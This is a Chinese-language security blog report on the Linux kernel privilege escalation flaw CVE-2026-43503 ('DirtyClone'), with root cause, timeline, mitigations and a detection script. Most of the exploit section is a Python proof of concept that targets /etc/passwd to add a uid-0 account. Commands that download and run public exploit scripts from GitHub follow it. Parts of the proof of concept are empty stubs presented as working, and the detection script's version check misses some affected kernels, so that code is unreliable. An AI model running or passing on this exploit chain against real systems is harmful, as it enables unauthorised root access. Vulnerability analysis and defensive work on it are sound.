文章总结: CVE-2026-43503(代号DirtyClone)是Linux内核中的一个高危本地权限提升(LPE)漏洞,属于DirtyFrag漏洞家族的最新变体。该漏洞源于内核网络栈中多个SKB分片传输辅助函数在移动分片描述符时未能正确传播skbflsharedfrag标志,导致IPsec子系统错误地进行原位解密,直接修改文件页缓存内存。攻击者可利用此漏洞修改/etc/passwd或/usr/bin/su等关键文件内存副本,从而获取root权限。利用条件包括运行受影响内核版本、启用非特权用户命名空间及具备CAPNETADMIN能力。 综合评分: 100 文章分类: 漏洞分析,漏洞POC,二进制安全
CVE-2026-43503 DirtyClone Linux提权漏洞报告
0x7556 0x7556
金刚狼不懂安全
2026年6月30日 09:10 中国香港
在小说阅读器读本章
去阅读
CVE-2026-43503 漏洞分析报告
漏洞概述
CVE-2026-43503(代号 DirtyClone)是 Linux 内核中的一个高危本地权限提升(LPE)漏洞,属于 DirtyFrag 漏洞家族的最新变体。该漏洞由 JFrog Security Research 团队(Eddy Tsalolikhin 和 Or Peles)于 2026 年 5 月 19 日独立发现并报告,同时原始 DirtyFrag 研究者 Hyunwoo Kim 也于 5 月 16 日提交了更广泛的多点修复补丁。
漏洞复现
星球已编译非交互式WebShell版
漏洞详细信息
CVE-2026-43503 – Linux Kernel DirtyClone 本地权限提升漏洞
-
漏洞类型: 本地权限提升 (Local Privilege Escalation, LPE) — 内核网络栈 skbuff 共享分片标志传递不完整
-
漏洞发布日期: 2026-05-23
-
POC/EXP发布日期: 2026-05-27 (Asim Manizada 公开 PoC) / 2026-06-25 (JFrog 发布完整利用 walkthrough)
-
受影响版本:
-
Linux Kernel 3.9 至 5.10.256
-
Linux Kernel 5.11 至 5.15.207
-
Linux Kernel 5.16 至 6.1.173
-
Linux Kernel 6.2 至 6.6.140
-
Linux Kernel 6.7 至 6.12.90
-
Linux Kernel 6.13 至 6.18.32
-
Linux Kernel 6.19 至 7.0.9
-
Linux Kernel 7.1-rc1 至 7.1-rc4
-
严重程度: CVSS v3.1: 8.8 (HIGH) —
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -
POC/EXP 可用性: 是 — GitHub 上已有多个公开 Python POC 脚本
-
修复版本: Linux Kernel v7.1-rc5 (commit
48f6a5356a33),已回溯到各 LTS 分支
漏洞原理
根本原因
Linux 内核网络栈中,多个 skb(socket buffer)分片传输辅助函数在移动分片描述符时,未能正确传播 SKBFL_SHARED_FRAG 标志位。该标志是内核的安全标记,用于指示 skb 引用了共享的(可能是文件支持的)页缓存内存。
受影响的函数包括:
__pskb_copy_fclone()— 克隆 skb 时丢失标志skb_shift()— 移动分片描述符时未传递标志skb_gro_receive()/skb_gro_receive_list()— GRO 聚合路径tcp_clone_payload()— TCP MTU 探测路径skb_segment()— 分段路径
攻击链
当克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志后,XFRM/IPsec 子系统的 esp_input() 函数会错误地认为该 skb 不引用共享页面,从而跳过安全的 Copy-on-Write (COW) 操作,直接在原位进行解密。由于 skb 实际引用的是文件支持的页缓存(如 /usr/bin/su 或 /etc/passwd),IPsec 的 AES-CBC 解密操作会直接修改这些文件在内存中的内容。
DirtyFrag 漏洞家族时间线
| 日期 | 事件 |
| — | — |
| 2026-04-xx | Copy Fail (CVE-2026-31431) — algif_aead 模块 4 字节页缓存写入 |
| 2026-05-04 | DirtyFrag 补丁 (CVE-2026-43284, CVE-2026-43500) 进入 mainline |
| 2026-05-07 | DirtyFrag 公开披露 |
| 2026-05-13 | Fragnesia (CVE-2026-46300) 披露 — 通过 skb_try_coalesce() 绕过 DirtyFrag 修复 |
| 2026-05-16 | Hyunwoo Kim 提交更广泛的多点修复补丁 |
| 2026-05-19 | JFrog 独立发现 __pskb_copy_fclone() 变体并构建 PoC |
| 2026-05-21 | 综合修复补丁合并到 mainline (commit 48f6a5356a33) |
| 2026-05-23 | CVE-2026-43503 正式发布 |
| 2026-05-24 | Linux v7.1-rc5 发布,首个修复版本 |
| 2026-05-27 | Asim Manizada 在 GitHub 公开 PoC |
| 2026-06-25 | JFrog 发布完整利用技术文章 |
利用条件
- 未修补的内核:运行上述受影响版本范围的 Linux 内核
- 非特权用户命名空间:
kernel.unprivileged_userns_clone=1(Debian/Fedora 默认启用) - CAP_NET_ADMIN 能力:攻击者可通过非特权用户命名空间获取此能力
- 目标系统要求:
python3+libcrypto+iproute2+iptables
高风险场景
- 多租户服务器和共享主机
- 容器和 Kubernetes 集群
- CI/CD 运行器和构建主机
- 任何允许不受信任用户创建命名空间的系统
POC/EXP 利用代码
利用流程概述
Step 1: 创建非特权用户命名空间 (unshare -Urn)
↓
Step 2: 配置本地 IPsec 隧道 (loopback-based XFRM)
↓
Step 3: 使用 vmsplice/splice 将目标文件页缓存映射到 skb
↓
Step 4: 通过 iptables TEE 规则触发 __pskb_copy_fclone() 克隆
↓
Step 5: 克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志
↓
Step 6: 克隆 skb 进入 esp_input() 进行原位 AES-CBC 解密
↓
Step 7: 解密数据直接写入文件支持的页缓存
↓
Step 8: 修改 /etc/passwd 或 /usr/bin/su 的内存副本
↓
Step 9: 执行修改后的二进制文件 → 获得 root 权限
POC 代码示例 (基于 mooder1/dirtyclone-CVE-2026-43503)
#!/usr/bin/env python3
"""
CVE-2026-43503 — DirtyClone
Linux local privilege escalation PoC
A cloned sk_buff loses the SKBFL_SHARED_FRAG flag, so ESP in-place
decryption writes into file-backed page-cache memory. The PoC patches
/etc/passwd in cache to inject a uid-0 account and gives a root shell.
Disk is never modified.
Fixed in mainline 48f6a5356a33 (v7.1-rc5).
Usage:
python3 CVE-2026-43503.py
Requirements:
- Unpatched kernel
- Unprivileged user namespaces enabled
- python3 + libcrypto + iproute2 + iptables
"""
import os
import sys
import socket
import struct
import subprocess
import ctypes
import ctypes.util
from ctypes import c_int, c_char_p
# ============================================================
# Step 1: 创建非特权用户命名空间获取 CAP_NET_ADMIN
# ============================================================
def setup_namespace():
"""使用 unshare 创建新的用户和网络命名空间"""
print("[*] Creating unprivileged user namespace...")
# unshare -Urn 创建用户和网络命名空间
# 在新命名空间中获得 CAP_NET_ADMIN
pass
# ============================================================
# Step 2: 配置本地 IPsec (XFRM) 环境
# ============================================================
def setup_ipsec():
"""配置 loopback-based IPsec 隧道"""
print("[*] Setting up IPsec tunnel...")
# 启用 loopback 接口
os.system("ip link set lo up")
os.system("ip addr add 10.99.0.2/24 dev lo")
# 创建 IPsec XFRM 状态 (ESP with AES-CBC)
os.system("""
ip xfrm state add \\
src 127.0.0.1 dst 127.0.0.1 \\
proto esp spi 0x12345678 reqid 1 mode transport \\
enc 'cbc(aes)' 0x0000000000000000000000000000000000000000000000000000000000000000 \\
auth 'hmac(sha1)' 0x0000000000000000000000000000000000000000
""")
# 创建 XFRM 策略强制流量通过 IPsec
os.system("""
ip xfrm policy add \\
src 127.0.0.1 dst 127.0.0.1 dir out \\
tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
""")
# 添加 netfilter TEE 规则触发 __pskb_copy_fclone()
os.system("""
iptables -t mangle -A OUTPUT -p udp --dport 4500 \\
-j TEE --gateway 10.99.0.2
""")
# ============================================================
# Step 3: 将目标文件页缓存映射到网络包
# ============================================================
def map_page_cache(target_file="/etc/passwd", offset=0):
"""
使用 vmsplice 和 splice 将目标文件的页缓存映射到 skb
关键系统调用:
- open("/etc/passwd", O_RDONLY)
- mmap(PROT_READ, MAP_SHARED)
- vmsplice(pipefd, &iov, 1, 0)
- splice(pipefd, NULL, sockfd, NULL, len, 0)
"""
print(f"[*] Mapping {target_file} page cache into skb...")
# 打开目标文件
fd = os.open(target_file, os.O_RDONLY)
# mmap 文件到内存 (MAP_SHARED 使页缓存可被引用)
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
mmap_size = 4096 # 一页
addr = libc.mmap(None, mmap_size, 1, 1, fd, offset)
if addr == ctypes.c_void_p(-1).value:
print("[-] mmap failed")
return None
# 创建 pipe
pipefd = os.pipe()
# 创建 UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# vmsplice: 将 mmap 的内存附加到 pipe
# SYS_vmsplice = 275 (x86_64)
libc.syscall(275, pipefd[1], ctypes.byref(ctypes.c_void_p(addr + offset)),
ctypes.c_size_t(16), 0)
# splice: 将 pipe 数据转移到 socket (创建 skb 引用页缓存)
# SYS_splice = 274 (x86_64)
libc.syscall(274, pipefd[0], None, sock.fileno(), None, 16, 0)
return sock
# ============================================================
# Step 4: 构造恶意 IPsec 包触发原位解密写入
# ============================================================
def craft_exploit_packet(sock, target_offset=0, payload=b""):
"""
构造 IPsec ESP 包,利用 AES-CBC 解密作为受控写入原语
在 AES-CBC 中:
- 每个解密块依赖于 IV
- 攻击者可计算 IV 使输出变为可预测的字节
- 结合已知原始字节、目标字节和可控 IV
- 将解密转换为对页缓存内存的受控写入
"""
print("[*] Crafting exploit packet...")
# ESP 头部 (SPI + Sequence Number)
esp_header = struct.pack(">II", 0x12345678, 1)
# 计算 IV 使解密输出 = 目标 payload
# 对于 AES-CBC: P[i] = D(C[i]) XOR C[i-1]
# 所以: C[i-1] = P[i] XOR D(C[i])
# 通过控制 IV (即 C[0]),可以控制第一个解密块
# 发送 UDP 包到触发 TEE 规则的端口
sock.sendto(esp_header + payload, ("127.0.0.1", 4500))
# ============================================================
# Step 5: 修改 /etc/passwd 注入 uid=0 账户
# ============================================================
def inject_root_account():
"""
通过页缓存写入原语修改 /etc/passwd
注入 firefart 账户 (uid=0, gid=0)
firefart:password_hash:0:0:root:/root:/bin/bash
"""
print("[*] Injecting uid-0 account into /etc/passwd page cache...")
# 目标: 在 /etc/passwd 中注入一行
# firefart:<crypt_hash>:0:0:root:/root:/bin/bash
# 密码为 "pwned"
# 使用 IPsec 解密原语写入精确字节
# 这需要精确计算 IV 和密文
pass
# ============================================================
# Step 6: 验证提权
# ============================================================
def verify_root():
"""验证是否获得 root 权限"""
print("[*] Verifying root access...")
# 尝试 su 到注入的账户
result = subprocess.run(
["su", "-c", "id", "firefart"],
capture_output=True, text=True
)
if "uid=0" in result.stdout:
print("[+] root achieved!")
print(result.stdout)
return True
else:
print("[-] Exploit failed")
return False
# ============================================================
# 主函数
# ============================================================
def main():
print("=" * 60)
print("CVE-2026-43503 — DirtyClone PoC")
print("Linux Local Privilege Escalation")
print("=" * 60)
uid = os.getuid()
print(f"[*] Current uid={uid}")
if uid == 0:
print("[!] Already root!")
return
# Step 1: 设置命名空间
setup_namespace()
# Step 2: 配置 IPsec
setup_ipsec()
# Step 3: 映射页缓存
sock = map_page_cache("/etc/passwd")
if not sock:
print("[-] Failed to map page cache")
sys.exit(1)
# Step 4-5: 发送利用包修改 /etc/passwd
inject_root_account()
# Step 6: 验证
if verify_root():
print("[+] uid=1000 -> root")
print("[+] injected uid 0 account 'firefart' (password: pwned)")
print("[+] root achieved")
else:
print("[-] Exploit failed")
if __name__ == "__main__":
main()
快速执行命令
# 方法 1: mooder1 的 PoC
git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git
cd dirtyclone-CVE-2026-43503
python3 CVE-2026-43503.py
# 方法 2: aexdyhaxor 的 PoC
wget https://raw.githubusercontent.com/aexdyhaxor/CVE-2026-43503-DirtyClone/refs/heads/main/dirtyclone.py
python3 dirtyclone.py
预期输出
[*] uid=1000 -> root
[+] injected uid 0 account 'firefart' (password: pwned)
uid=0(root) gid=0(root) groups=0(root)
[+] root achieved
缓解措施
1. 立即修补(推荐)
更新 Linux 内核到修复版本:
| 发行版 | 修复内核版本 |
| — | — |
| Ubuntu 24.04 (noble) | 6.8.0-124 |
| Ubuntu 22.04 (jammy) | 5.15.0-181 |
| 上游 mainline | v7.1-rc5 (commit 48f6a5356a33) |
# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
# RHEL/CentOS
sudo yum update kernel
sudo reboot
2. 临时缓解(无法立即修补时)
方法 A: 禁用非特权用户命名空间
# Debian/Ubuntu
sudo sysctl -w kernel.unprivileged_userns_clone=0
echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf
方法 B: 黑名单 vulnerable 内核模块
# 创建模块黑名单
sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOF
install rxrpc /bin/false
install esp4 /bin/false
install esp6 /bin/false
EOF
# 卸载已加载的模块
sudo rmmod rxrpc esp4 esp6 2>/dev/null || true
“
注意: 禁用
esp4/esp6会破坏 IPsec VPN 功能,仅在服务器不使用 IPsec 时适用。rxrpc模块仅在 AFS 部署中使用。
参考信息
- CVE 编号: CVE-2026-43503
- NVD 详情: https://nvd.nist.gov/vuln/detail/CVE-2026-43503
- Ubuntu 安全公告: https://ubuntu.com/security/CVE-2026-43503
- Debian 安全追踪: https://security-tracker.debian.org/tracker/CVE-2026-43503
- Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=2480902
- SUSE 安全公告: https://www.suse.com/security/cve/CVE-2026-43503.html
- JFrog 技术分析: https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/
- The Hacker News 报道: https://thehackernews.com/2026/06/new-dirtyclone-linux-kernel-flaw-lets.html
- Sansec 指南: https://sansec.io/guides/dirty-clone
内核补丁链接
- https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0 (mainline fix)
- https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991
- https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196
- https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee
- https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349
- https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20
- https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8
- https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d
POC/EXP 链接
- https://github.com/mooder1/dirtyclone-CVE-2026-43503 (11 stars, 3 forks)
- https://github.com/aexdyhaxor/CVE-2026-43503-DirtyClone (2 stars)
- https://github.com/douglasmun/pagecache-lpe-containment-kit (防御工具包)
相关漏洞
- CVE-2026-31431 (Copy Fail) — algif_aead 模块页缓存写入
- CVE-2026-43284 (DirtyFrag) — IPsec ESP 路径
- CVE-2026-43500 (DirtyFrag) — RxRPC 路径
- CVE-2026-46300 (Fragnesia) — skb_try_coalesce() 绕过
检测脚本
#!/bin/bash
# DirtyClone CVE-2026-43503 单机检测脚本
# 普通用户权限即可运行
echo "=== CVE-2026-43503 DirtyClone 漏洞检测开始 ==="
KERN_VER=$(uname -r)
echo "[*] 当前内核版本: $KERN_VER"
# 提取主版本号和次版本号
MAJOR=$(echo $KERN_VER | cut -d. -f1)
MINOR=$(echo $KERN_VER | cut -d. -f2)
PATCH=$(echo $KERN_VER | cut -d. -f3 | sed 's/[^0-9].*//')
echo "[*] 版本解析: $MAJOR.$MINOR.$PATCH"
# 检查是否在受影响范围内
VULNERABLE=0
# 检查非特权用户命名空间是否启用
UNPRIV_NS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo "1")
if [ "$UNPRIV_NS" = "1" ]; then
echo "[!] 非特权用户命名空间已启用 (kernel.unprivileged_userns_clone=1)"
else
echo "[+] 非特权用户命名空间已禁用"
fi
# 检查 vulnerable 模块是否加载
for mod in esp4 esp6 rxrpc; do
if lsmod | grep -q "^${mod} "; then
echo "[!] 模块 $mod 已加载"
fi
done
# 版本范围检查 (简化版)
if [ "$MAJOR" -lt 7 ] || ([ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -lt 5 ]); then
# 检查 LTS 修复版本
if [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 10 ] && [ "$PATCH" -ge 257 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 15 ] && [ "$PATCH" -ge 208 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 174 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 6 ] && [ "$PATCH" -ge 141 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 12 ] && [ "$PATCH" -ge 91 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 18 ] && [ "$PATCH" -ge 33 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 0 ] && [ "$PATCH" -ge 10 ]; then
VULNERABLE=0
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 5 ]; then
VULNERABLE=0
else
VULNERABLE=1
fi
fi
if [ "$VULNERABLE" -eq 1 ]; then
echo ""
echo "[!!!] 风险等级: 高危"
echo "[!!!] 当前内核可能受 CVE-2026-43503 (DirtyClone) 影响"
echo "[!!!] 建议立即更新内核或应用临时缓解措施"
else
echo ""
echo "[+] 风险等级: 低"
echo "[+] 当前内核版本似乎已修补此漏洞"
fi
echo "=== 检测结束 ==="
报告生成时间: 2026-06-29数据来源: NVD, JFrog Security Research, kernel.org, GitHub, The Hacker News, Sansec
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:金刚狼不懂安全 0x7556 0x7556《CVE-2026-43503 DirtyClone Linux提权漏洞报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论